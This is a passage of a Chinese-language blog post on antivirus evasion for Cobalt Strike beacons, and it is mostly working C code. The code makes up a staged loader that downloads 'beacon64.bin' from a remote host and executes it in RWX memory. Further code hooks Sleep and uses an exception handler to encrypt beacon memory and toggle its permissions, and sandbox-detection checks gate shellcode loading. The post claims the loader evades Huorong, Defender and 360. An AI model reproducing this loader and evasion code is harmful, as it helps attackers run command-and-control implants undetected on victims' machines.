    memset(recvbuf, 0, DEFAULT_BUFLEN);
    int iResult;
    int recvbuflen = DEFAULT_BUFLEN;


    // Initialize Winsock
    iResult = WSAStartup(MAKEWORD(2, 2), &wsaData);
    if (iResult != 0) {
        printf("WSAStartup failed with error: %d\n", iResult);
        return 0;
    }

    ZeroMemory(&hints, sizeof(hints));
    hints.ai_family = PF_INET;
    hints.ai_socktype = SOCK_STREAM;
    hints.ai_protocol = IPPROTO_TCP;

    // Resolve the server address and port
    iResult = getaddrinfo(host, port, &hints, &result);
    if (iResult != 0) {
        printf("getaddrinfo failed with error: %d\n", iResult);
        WSACleanup();
        return 0;
    }

    // Attempt to connect to an address until one succeeds
    for (ptr = result; ptr != NULL; ptr = ptr->ai_next) {

        // Create a SOCKET for connecting to server
        ConnectSocket = socket(ptr->ai_family, ptr->ai_socktype,
            ptr->ai_protocol);
        if (ConnectSocket == INVALID_SOCKET) {
            printf("socket failed with error: %ld\n", WSAGetLastError());
            WSACleanup();
            return 0;
        }

        // Connect to server.
        printf("[+] Connect to %s:%s", host, port);
        iResult = connect(ConnectSocket, ptr->ai_addr, (int)ptr->ai_addrlen);
        if (iResult == SOCKET_ERROR) {
            closesocket(ConnectSocket);
            ConnectSocket = INVALID_SOCKET;
            continue;
        }
        break;
    }

    freeaddrinfo(result);

    if (ConnectSocket == INVALID_SOCKET) {
        printf("Unable to connect to server!\n");
        WSACleanup();
        return 0;
    }

    // Send an initial buffer
    iResult = send(ConnectSocket, sendbuf, (int)strlen(sendbuf), 0);
    if (iResult == SOCKET_ERROR) {
        printf("send failed with error: %d\n", WSAGetLastError());
        closesocket(ConnectSocket);
        WSACleanup();
        return 0;
    }

    printf("\n[+] Sent %ld Bytes\n", iResult);

    // shutdown the connection since no more data will be sent
    iResult = shutdown(ConnectSocket, SD_SEND);
    if (iResult == SOCKET_ERROR) {
        printf("shutdown failed with error: %d\n", WSAGetLastError());
        closesocket(ConnectSocket);
        WSACleanup();
        return 0;
    }


    memset(recvbuf_ptr,0,400000);
    DWORD total_received = 0;
    // Receive until the peer closes the connection
    do {

        iResult = recv(ConnectSocket, (char*)recvbuf, recvbuflen, 0);
        if (iResult > 0)
        {
            printf("[+] Received %d Bytes\n", iResult);
            memcpy(recvbuf_ptr, recvbuf, iResult);
            recvbuf_ptr += iResult; // 将指针移动到接收到的数据的末尾
            total_received += iResult; // 更新接收到的总字节数
            printf("[+] Received total %d Bytes\n", total_received);
        }

        else if (iResult == 0)
            printf("[+] Connection closed\n");
        else
            printf("recv failed with error: %d\n", WSAGetLastError());


        //RunShellcode(recvbuf, recvbuflen);

    } while (iResult > 0);


    // cleanup
    closesocket(ConnectSocket);
    WSACleanup();

    return total_received;
}



int main(int argc, char** argv) {

    // Validate the parameters
   /* if (argc != 4) {
        printf("[+] Usage: %s <RemoteIP> <RemotePort> <Resource>\n", argv[0]);
        return 1;
    }*/

    char* recvbuf_ptr = (char*)malloc(400000);
    char* ip = "";
    char* RemotePort = "5003";
    char* Resource = "beacon64.bin";

    hEvent = CreateEvent(NULL, TRUE, false, NULL);

    PVOID temp = AddVectoredExceptionHandler(1, &FirstVectExcepHandler);
    if (temp == NULL)
    {
        printf("AddVectoredExceptionHandler调用失败");
        getchar();
        return 0;
    }
    Hook();
    HANDLE hThread1 = CreateThread(NULL, 0, Beacon_set_Memory_attributes, NULL, 0, NULL);
    CloseHandle(hThread1);

    //getShellcode_Run(argv[1], argv[2], argv[3]);
   int recvbuf_size = getShellcode_Run(ip, RemotePort, Resource, recvbuf_ptr);

   shellcode_addr = VirtualAlloc(NULL, recvbuf_size, MEM_COMMIT, PAGE_READWRITE);
   memcpy(shellcode_addr, recvbuf_ptr, recvbuf_size);
   VirtualProtect(shellcode_addr, recvbuf_size, PAGE_EXECUTE_READWRITE, &Beacon_Memory_address_flOldProtect);

   ((void(*)())shellcode_addr)();


    return 0;

}

cs上线后调用sleep函数触发事件hEvent,修改内存为rw属性并睡眠,睡眠完执行shellcode发现内存异常,触发我们添加的异常函数把内存修改为rwx,执行完命令后cs继续sleep,sleep60秒内又触发事件hEvent,内存又变成rw,这样循环。

效果

还是一个非常有效的方法,火绒动静态免杀,defender静态免杀,360动静态免杀。

内存权限的波动修改

跟之前的异常处理的思路本质是一样的,都是让内存权限在可执行和不可执行之间反复横跳。

void HookSleep()
{
    DetourRestoreAfterWith();
    DetourTransactionBegin();
    DetourUpdateThread(GetCurrentThread());
    DetourAttach((void**)&OldSleep, MySleep);
    DetourTransactionCommit();
}
// 脱钩
void UnHookSleep()
{
    DetourTransactionBegin();
    DetourUpdateThread(GetCurrentThread());
    DetourDetach((void**)&OldSleep, MySleep);
    DetourTransactionCommit();
}
VOID WINAPI MySleep(DWORD dwMilliseconds)
{
    UnHookSleep();

    if (!memoryInfo.isScanMemory)
        ScanMemoryMap();

    printf("XOR32 key: %X\n", memoryInfo.key);
    EncryptDecrypt();

    printf("===> MySleep(%d)\n\n", dwMilliseconds);
    Sleep(dwMilliseconds);

    EncryptDecrypt();
    HookSleep();
}
  • 先脱钩UnHookSleep();,为了让后面的Sleep(dwMilliseconds);执行睡眠;
  • ScanMemoryMap();为了定位本进程内rwx属性的内存位置,也就是我们beacon的内存位置
  • EncryptDecrypt();先把这块beacon的内存区域加密并且修改为rw,可以使用任何加密
  • Sleep(dwMilliseconds);接着加密后beacon内存进入sleep,这时候便可以躲避内存扫描
  • EncryptDecrypt();在sleep结束后解密并且把执行权限修改为rwx,并执行我们的cs操作
  • HookSleep();最后把sleephook回去,在cs执行完命令后再次sleep又会重复以上循环

反沙箱

沙箱脱壳技术

沙箱脱壳技术是通过虚拟机动态脱壳的方式来处理的。一般对于公开壳,用沙箱脱壳基本上都是会被杀的。

杀软沙箱的运行过程:

  • 文件提交:用户或系统将可疑文件提交给杀软沙箱进行分析
  • 环境隔离:杀软沙箱会在一个受控的环境中运行可疑文件,通常是在虚拟机或容器内。
  • 动态行为分析:在沙箱环境中,可疑文件会被执行或打开,以触发其潜在的恶意行为,在这个过程中,会检测是否有病毒、恶意软件、木马或其他恶意活动的迹象。
  • 恶意行为检测:对监控的行为进行分析
  • 报告生成:生成分析报告,包括文件的行为日志、检测结果和风险评估等。

检测沙箱

  • 检测开机时间:很多沙箱检测完会进行重启,判断开机时间是否大于1小时
  • 检测物理内存:现如今很多PC机器都4GB以上的机器,判断内存是否小于4G
  • 检测CPU核心数:很多沙箱和虚拟机的核心CPU为2GB,而PC的为4,判断是否小于4
  • 检测参数:代入参数才能运行程序,判断是否有参数
  • 检测文件名:很多沙箱都要修改文件名,判断文件名是否被修改
  • 检测磁盘容量大小:沙箱一般都很小,判断磁盘是否大于80G
  • 检测是否有虚拟机的进程

传参检测

#include <iostream>

int main(int argc, char* argv[]) {
    if (argc >= 3) {
        if (atoi(argv[1]) + atoi(argv[2]) == 12 && atoi(argv[1]) * atoi(argv[2]) == 35) {
            LoadShellCode();
        }
    }
}

只有当命令行参数满足特定条件(和为12且积为35)时,才会调用LoadShellcode函数。

文件检测

#include <windows.h>

// 检测文件是否存在
BOOL isFileExists(wchar_t* szPath) {
    DWORD dwAtrribt = GetFileAttributes(szPath); 
    return (dwAtrribt != INVALID_FILE_ATTRIBUTES) && !(dwAtrribt & FILE_ATTRIBUTE_DIRECTORY);
}

// 检测文件夹是否存在
BOOL isDirExists(wchar_t* szPath) {
    DWORD dwAtrribt = GetFileAttributes(szPath);
    return (dwAtrribt != INVALID_FILE_ATTRIBUTES) && (dwAtrribt & FILE_ATTRIBUTE_DIRECTORY);
}

int main() {
    if (isFileExists(_wcsdup(L"1.txt")) && isDirExists(_wcsdup(L"1"))) {
        LoadShellcode();
    }
}

睡眠时间准测检测

之前是可以通过延时执行绕过沙箱检测的,因为沙箱不可能一直等待一个进程执行,所以可以把进程堵塞一段时间等沙箱分析完再把shellcode运行。但是现在沙箱使用加速,这种延时执行大部分就行不通了。

不过,可以检测睡眠时间是否对应从而确认是否存在沙箱。

#include <iostream>
#include <chrono>
#include <thread>

bool timeSleep() {
    // 记录起始时间点
    auto start = std::chrono::steady_clock::now();

    // 休眠 10 秒钟
    std::this_thread::sleep_for(std::chrono::seconds(10));

    // 计算经过的时间
    auto end = std::chrono::steady_clock::now() - start;

    // 检查是否至少休眠了 10 秒钟
    if (end >= std::chrono::seconds(10)) {
        return true;
    } else {
        return false;
    }
}

后言

总结下来,还是不够深刻的,希望能够在实践中更加认识。

  • 29
    点赞
  • 20
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值